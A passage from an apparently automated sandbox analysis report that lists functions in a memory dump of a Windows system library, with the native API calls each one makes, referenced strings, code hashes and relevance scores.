ZwClose.1105(00000000,?,?,?,?), ref: 6A98B001
RtlFreeHeap.1105(?,00000000,?,00000000,?,?,?,?), ref: 6A98B011

Strings

@, xrefs: 6A94D303

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AttributesCloseFileQuery
String ID: @
API String ID: 2866988855-2766056989
Opcode ID: be25a4e09400327243a003f0ca851c58d43c2728b38416d36b28223391852f49
Instruction ID: 5e98ab3b9411cbe0f9bdf247ac2baf2480dfe1fd2a516f1c1151e28faddd0ccb
Opcode Fuzzy Hash: be25a4e09400327243a003f0ca851c58d43c2728b38416d36b28223391852f49
Instruction Fuzzy Hash: AE318FB5548305AFC360CF28C880A5BBBE8EB96758F21092EF99483310DF34DD05CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6A99EA20, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6AA070A0,-00000054,?,00000000,-00000054,?,6A975D18), ref: 6A99EA52
DbgPrint.1105(AVRF: AVrfDllUnloadNotification called for a provider (%p) ,-00000054,6AA070A0,-00000054,?,00000000,-00000054,?,6A975D18), ref: 6A99EA69
RtlLeaveCriticalSection.1105(6AA070A0,6AA070A0,-00000054,?,00000000,-00000054,?,6A975D18), ref: 6A99EAB0

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 6A99EA64

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavePrint
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 1203512206-702105204
Opcode ID: cfe692a590f713769bbc8164eea9146be1b626d56ee5d155f4bdbe7916cde36d
Instruction ID: fc8ff596681ba04181e2ed82e5bdd5831030bbdafa1fc56c7c0995d8d4f99ecd
Opcode Fuzzy Hash: cfe692a590f713769bbc8164eea9146be1b626d56ee5d155f4bdbe7916cde36d
Instruction Fuzzy Hash: 9711C631215708BFDB109F25DC84A9A7FBABF57258F2A011EE51147562CF31EC46C690

Uniqueness

Uniqueness Score: -1.00%

Function 6A93B944, Relevance: 7.7, APIs: 5, Instructions: 166nativetimeCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(00000000,?,00002710,00000000,?,?,?), ref: 6A93B9A5
RtlGetCurrentServiceSessionId.1105(00000000,?,00002710,00000000,?,?,?), ref: 6A93BA9C
ZwSetTimer2.1105(00000000,?,00000000,?,00000000,?,00002710,00000000,?,?,?), ref: 6A93BAC6
RtlGetCurrentServiceSessionId.1105(?,?,?), ref: 6A93BAE9
ZwCancelTimer2.1105(00000000,00000000,?,?,?), ref: 6A93BB03

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSessionTimer2$CancelUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1220516486-0
Opcode ID: 8508d6f5782251fe7d387515ede2534ba924f5fa01f912ebb96ee7b51383bbde
Instruction ID: 00e273010c7b5bc4dba10be2c23efc5a016833832753d960f3cd61de63256f20
Opcode Fuzzy Hash: 8508d6f5782251fe7d387515ede2534ba924f5fa01f912ebb96ee7b51383bbde
Instruction Fuzzy Hash: 2B513871A08B50DFC720CF29C48091ABBF9FB89714F25896EE595D7356DB30E844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6A968BE8, Relevance: 7.7, APIs: 1, Strings: 3, Instructions: 657COMMON

Download Yara Rule

Strings

(null), xrefs: 6A96914A
', xrefs: 6A969129
(null), xrefs: 6A968FFF, 6A96904C

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: '$(null)$(null)
API String ID: 3558298466-1087929977
Opcode ID: d04b3ce5c2138173e8fadd16bcc4542ed283f76c8b2d69b027a1ccad1f729c10
Instruction ID: b17eef81d8acf6ca6d2db796375fb578ae549eca097809b6ad312d88ac5a40f8
Opcode Fuzzy Hash: d04b3ce5c2138173e8fadd16bcc4542ed283f76c8b2d69b027a1ccad1f729c10
Instruction Fuzzy Hash: 1732B9F1A002289AFB248F28CD94799B7B9EF45314F6191EAD619A7281DF30CAC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6A93DBE9, Relevance: 7.6, APIs: 5, Instructions: 149COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6A93DD0B
RtlAcquireSRWLockExclusive.1105(00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6A93DD2D
RtlReleaseSRWLockExclusive.1105(00000000,00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6A93DD46

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseServiceSession
String ID:
API String ID: 3179239776-0
Opcode ID: 6f0bbef6030ba570608d822d7737b24931e4e39b1c96bcbba574bf34ce43945f
Instruction ID: bcf149863b442451aa39360a8fc821931ece84c2bfa58405e3a04be21c4da547
Opcode Fuzzy Hash: 6f0bbef6030ba570608d822d7737b24931e4e39b1c96bcbba574bf34ce43945f
Instruction Fuzzy Hash: E45167B1A04625DFCB14CFA8C4A0A9EFBF5BB49314F32895AD964A7341DF30E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A919100, Relevance: 7.6, APIs: 5, Instructions: 141nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,6A9EF6E8,0000002C,6A96E530,00000000,?,6A9F01C0,00000010,6A9E810C,00000000,00000000,00000000,00000000,6AA086C4,6AA086C4,00000008), ref: 6A919158
ZwShutdownWorkerFactory.1105(?,?), ref: 6A919182
RtlGetCurrentServiceSessionId.1105 ref: 6A9191C0

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCurrentExclusiveFactoryLockServiceSessionShutdownWorker
String ID:
API String ID: 1345183298-0
Opcode ID: cf0e875782938d7b526e22d4a70b7f4893440b29229d75bb27f1f2847f667c96
Instruction ID: 8cf4d473a6702d5be62cb1ff9c9dd9d1c6af1f83a1cf3fce967e1d8e2ef0aa7a
Opcode Fuzzy Hash: cf0e875782938d7b526e22d4a70b7f4893440b29229d75bb27f1f2847f667c96
Instruction Fuzzy Hash: D4519FB0A09649EFDB65CB78C8C879DB7B9BB5A318F36811AC424A7241CF30DD80C791

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A19C8, Relevance: 7.6, APIs: 5, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

ZwCreateSection.1105(?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6A9A1A54
ZwMapViewOfSection.1105(?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004,08000000), ref: 6A9A1A74
memset.1105(?,00000000,000000F0,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?), ref: 6A9A1A88
ZwUnmapViewOfSection.1105(000000FF,?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6A9A1AB8
ZwClose.1105(?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6A9A1AC8

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$View$CloseCreateUnmapmemset
String ID:
API String ID: 788617167-0
Opcode ID: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction ID: 9bc1d33e43f9eeef1e8cfe1294702d8a91332d634c95b80bb9875a678c532a57
Opcode Fuzzy Hash: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction Fuzzy Hash: EC3121B5E00219BBDB10CF99C845E9EFBFDAF96714F21416AE910B7250DB708A40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A913880, Relevance: 7.6, APIs: 5, Instructions: 97memorynativeCOMMON

Download Yara Rule

APIs

TpSetWaitEx.1105(000000FF,?,00000000,00000000), ref: 6A9138B7

Part of subcall function 6A93ECE0: RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6A93ED2C
Part of subcall function 6A93ECE0: RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6A93ED90

RtlAllocateHeap.1105(?,00000000,00001030,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6A9138D1
ZwGetCompleteWnfStateSubscription.1105(00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6A9138F0
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,?,00000000,00000000,00001030,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6A913914

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateCompleteFreeReleaseStateSubscriptionWait
String ID:
API String ID: 2233382-0
Opcode ID: a9169ec8dafe525381f11080838be8439fc5d4488a120a2b6a84161a5e31be52
Instruction ID: b5d4dfc0f1e2ee5fdbb7bf439921278ef4e9bd951b459b1e0655f895a5aa0b41
Opcode Fuzzy Hash: a9169ec8dafe525381f11080838be8439fc5d4488a120a2b6a84161a5e31be52
Instruction Fuzzy Hash: DD318032D44229BFD760CFA9C884A9FB7F9EF49354F224566E925E7250DB30DE008B90

Uniqueness

Uniqueness Score: -1.00%

Function 6A914A20, Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6A914A2A
RtlFreeHeap.1105(?,00000000,?), ref: 6A914AB3

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentFreeHeapServiceSession
String ID:
API String ID: 1159841122-0
Opcode ID: 58c3c25f948b1fd1ca811858784e915a3d8896ee94b7155a4dd5070ce6642783
Instruction ID: e3b840f8b1daa211a64baed5aaf87566f3ea66919dd9772dead592ea9742a3aa
Opcode Fuzzy Hash: 58c3c25f948b1fd1ca811858784e915a3d8896ee94b7155a4dd5070ce6642783
Instruction Fuzzy Hash: 6D21E670148A05DFC7758A24D844B0677B9AB9932CF324629D4518A5A1EF31DCC1CF99

Uniqueness

Uniqueness Score: -1.00%

Function 6A9228AE, Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(00000000,?,6AA084D8,6A920924,6AA084D8,?,6AA084D8,?,00000000,?,?,?,6A92087C,?,?,?), ref: 6A9228B3
RtlEnterCriticalSection.1105(6AA05350), ref: 6A9228DA
RtlGetCurrentServiceSessionId.1105(6AA05350), ref: 6A9228E1
RtlGetCurrentServiceSessionId.1105 ref: 6A9776AF

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 3d380d6cf025d0e54de4add8ad9249f3dfca15f8a2080035dbd461b7a1c79b97
Instruction ID: 74b8f59e1bb2a8f0fdd7b2c2e95ff78b4c106d2033dfb8b0d1f480047e50b8ef
Opcode Fuzzy Hash: 3d380d6cf025d0e54de4add8ad9249f3dfca15f8a2080035dbd461b7a1c79b97
Instruction Fuzzy Hash: 7F21A731665691EFF722976C9C48F1437E8EB41778F3606A1E9309B6E6DF78D8408221

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E3E22, Relevance: 7.6, APIs: 5, Instructions: 62nativeCOMMON

Download Yara Rule

APIs

ZwTraceControl.1105(0000001A,6AA05338,00000008,00000000,00000000,?,6AA05338,00000000,6AA05320,6AA05320,6AA05338,?,6AA084E0,?,00000001,6A8F5C80), ref: 6A9E3E5D
RtlNtStatusToDosError.1105(00000000,0000001A,6AA05338,00000008,00000000,00000000,?,6AA05338,00000000,6AA05320,6AA05320,6AA05338,?,6AA084E0,?,00000001), ref: 6A9E3E6B
RtlAcquireSRWLockExclusive.1105(6AA08504,00000000,0000001A,6AA05338,00000008,00000000,00000000,?,6AA05338,00000000,6AA05320,6AA05320,6AA05338,?,6AA084E0), ref: 6A9E3E7A
RtlReleaseSRWLockExclusive.1105(6AA08504,6AA08504,00000000,0000001A,6AA05338,00000008,00000000,00000000,?,6AA05338,00000000,6AA05320,6AA05320,6AA05338,?,6AA084E0), ref: 6A9E3EA1
RtlSetLastWin32Error.1105(00000006,6AA05338,00000000,6AA05320,6AA05320,6AA05338,?,6AA084E0,?,00000001,6A8F5C80,6A91591B), ref: 6A9E3EAC

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorExclusiveLock$AcquireControlLastReleaseStatusTraceWin32
String ID:
API String ID: 1422652320-0
Opcode ID: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction ID: 7ad55c5f937a743d82af9f1f21948fefa6e1b469a540d89646ccb6ec02b83610
Opcode Fuzzy Hash: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction Fuzzy Hash: 2911E7726002146BCB519F69C884BABBBBCFF49B54F624069EC149B142DF30D90287E0

Uniqueness

Uniqueness Score: -1.00%

Function 6A91F150, Relevance: 7.6, APIs: 5, Instructions: 59nativeCOMMON

Download Yara Rule

APIs

RtlFormatCurrentUserKeyPath.1105(?,02000000,?,00000000), ref: 6A91F15F

Part of subcall function 6A92A3E0: ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6A92A404
Part of subcall function 6A92A3E0: RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A414
Part of subcall function 6A92A3E0: RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A443
Part of subcall function 6A92A3E0: RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A469

RtlFreeUnicodeString.1105(?,?,?,?,?,02000000,?,00000000), ref: 6A91F19D

Part of subcall function 6A932400: RtlDeleteBoundaryDescriptor.1105(?,00000000,?,6A9A8405,?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?), ref: 6A932412

ZwOpenKey.1105(?,?,?,?,02000000,?,00000000), ref: 6A91F192

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendBoundaryConvertCurrentDeleteDescriptorFormatFreeInformationInitializeLengthOpenPathQueryThunkTokenUser
String ID:
API String ID: 1101908438-0
Opcode ID: 3788e0cd78ec3c78c33b75afb0f253acd4360aa12e79792d7ba7c810cc58f789
Instruction ID: 1c77d5e85e505f92efb0249d469b83b51eb026e30b42f78dd15c24808804d254
Opcode Fuzzy Hash: 3788e0cd78ec3c78c33b75afb0f253acd4360aa12e79792d7ba7c810cc58f789
Instruction Fuzzy Hash: CD11C6B2C0021DABDF11DF96C8858EEFBB9EF98354F114166E914A7200DB359A55CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A176C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55nativeCOMMON

Download Yara Rule

APIs

ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6A9A17B5
ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6A9A17E1
ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6A9A17EB

Strings

\KernelObjects\SystemErrorPortReady, xrefs: 6A9A178B

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseEventObjectOpenSingleWait
String ID: \KernelObjects\SystemErrorPortReady
API String ID: 2739627308-2278496901
Opcode ID: a1e3630c1e5bc4baae7a0b63c7398cc9216142bfc365655c6d3d51da1f63fc63
Instruction ID: 44ea3c5c36da238c9bd676b40ff251d47e37e69041030e3cb84683cc3c973d16
Opcode Fuzzy Hash: a1e3630c1e5bc4baae7a0b63c7398cc9216142bfc365655c6d3d51da1f63fc63
Instruction Fuzzy Hash: F9117375D1021CAADB10CFA98845ADEFBB8EF85210F21415BE914F3250E7704E15CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6A91429E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51librarynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\DllNXOptions,?,?,00000000), ref: 6A9142C7

Part of subcall function 6A950F48: ZwOpenKey.1105(?,?,00000018), ref: 6A951015

ZwClose.1105(?,?,?,?,\DllNXOptions,?,?,00000000), ref: 6A97068E
LdrQueryImageFileKeyOption.1105(?,?,00000004,?,00000004,?,?,?,00000000), ref: 6A9706A6

Strings

\DllNXOptions, xrefs: 6A9142BE

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileImageInitOpenOptionQueryStringUnicode
String ID: \DllNXOptions
API String ID: 166309601-742623237
Opcode ID: 733bbe7edac1cf195895e7e319a62c6546d8a99eeee24e39fd1d454f8de6c282
Instruction ID: f4552f7cdbc1e47ebe7737fc5e7e6cb6d079d24c488b928ca4c91de076a11224
Opcode Fuzzy Hash: 733bbe7edac1cf195895e7e319a62c6546d8a99eeee24e39fd1d454f8de6c282
Instruction Fuzzy Hash: A801D8759002197EDF10D6A59D00D8F77BC9B85328F2100B6EA04EB140EF71DE0286E4

Uniqueness

Uniqueness Score: -1.00%

Function 6A928800, Relevance: 6.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

APIs

memcmp.1105(6AA084DC,6A8F1184,00000010,-00000054,?,00000000,00000001,?,6AA052D8), ref: 6A9288A8
RtlAcquireSRWLockExclusive.1105(6AA086CC,-00000054,?,00000000,00000001,?,6AA052D8), ref: 6A928901
RtlReleaseSRWLockExclusive.1105(6AA086CC,6AA086CC,-00000054,?,00000000,00000001,?,6AA052D8), ref: 6A928933
RtlAcquireSRWLockExclusive.1105(6AA086CC,-00000054,?,00000000,00000001,?,6AA052D8), ref: 6A979C65

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Acquire$Releasememcmp
String ID:
API String ID: 2792186644-0
Opcode ID: 9ede1d6db5ba95c50e29ca8ce0cfc722dd7cb4899cf7575eea55287f262db967
Instruction ID: 7fd2f877f0c3d52b9b7267e08aef2e3987170d737d51f16e929d4a379d5fd08a
Opcode Fuzzy Hash: 9ede1d6db5ba95c50e29ca8ce0cfc722dd7cb4899cf7575eea55287f262db967
Instruction Fuzzy Hash: 9C51B171A2020ADFEF5CCF58C4816AA77B9FF55304F26C069D925AB219DF30EA41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9DB581, Relevance: 6.2, APIs: 4, Instructions: 163nativeCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6A96FC28), ref: 6A9DB6C4
RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6A96FC28), ref: 6A9DB6F0
RtlGetCurrentServiceSessionId.1105 ref: 6A9DB726
ZwTraceEvent.1105(?,00000402,00000004,?), ref: 6A9DB75E

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$EventTrace
String ID:
API String ID: 4061387822-0
Opcode ID: 5aeb0a5444ee8b6fdd78fd8c0563dad33726c6bbc7b93058efbf3919ee746aa6
Instruction ID: be4518385396ebcb364da2b1b62b45b81ad857dc372c3ddf48675c9e80fca6f0
Opcode Fuzzy Hash: 5aeb0a5444ee8b6fdd78fd8c0563dad33726c6bbc7b93058efbf3919ee746aa6
Instruction Fuzzy Hash: 58510231604B429FD701EF28C554B66B7F4BF40318F26896DE8658B6A2EF30E885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6A911AA0, Relevance: 6.1, APIs: 4, Instructions: 123memorynativeCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.1105(?,00000008,00000000,?,00000000,?,?,00000000,C0000017), ref: 6A911B1E
ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00002000,00000004,00000000,?,?,00000000,C0000017,?,?,6A9116E0), ref: 6A911B83
ZwAllocateVirtualMemory.1105(000000FF,6A9116E0,00000000,C0000017,00001000,00000004,00000000,?,?,00000000,C0000017,?,?,6A9116E0), ref: 6A911BBD
RtlAllocateHeap.1105(?,00000008,?,00000000,?,?,00000000,C0000017), ref: 6A911BD8

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Allocate$HeapMemoryVirtual
String ID:
API String ID: 1343662020-0
Opcode ID: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction ID: ec09903df0474e63a73c94b30d54bf4f9a6a4550a62a8381769056fbf1cfec89
Opcode Fuzzy Hash: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction Fuzzy Hash: A1410771A49609EFDB24CF99C9C0A9AB7F8FF19300B30456DE55AD7650EB30EA44CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A91F018, Relevance: 6.1, APIs: 4, Instructions: 95memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6A91F05B
ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6A91F07A
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6A91F0AB
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6A91F0CB

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeQueryValuememcpy
String ID:
API String ID: 125101864-0
Opcode ID: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction ID: c6988711b59476d2e61a0400ede3c7851b892642cbd384fede143a5cf6cfe9a4
Opcode Fuzzy Hash: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
